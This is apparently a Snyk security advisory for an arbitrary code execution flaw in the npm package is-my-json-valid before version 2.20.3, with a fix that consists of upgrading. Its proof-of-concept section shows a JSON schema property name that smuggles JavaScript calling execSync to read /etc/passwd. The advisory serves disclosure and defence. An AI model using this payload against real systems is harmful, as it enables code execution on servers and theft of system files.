Arbitrary Code Execution Affecting is-my-json-valid package, versions <2.20.3
Threat Intelligence
Exploit Maturity
Proof of concept
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Test your applications- Snyk ID SNYK-JS-ISMYJSONVALID-597167
- published 2 Aug 2020
- disclosed 31 Jul 2020
- credit chalker
How to fix?
Upgrade is-my-json-valid to version 2.20.3 or higher.
Overview
is-my-json-valid is a JSONSchema / orderly validator that uses code generation to be extremely fast.
Affected versions of this package are vulnerable to Arbitrary Code Execution via the formatName function.
##PoC
const schema = {
type: 'object',
properties: {
'x[console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`))]': {
required: true,
type:'string'
}
},
}
var validate = validator(schema);
validate({})
References
CVSS Scores
version 3.1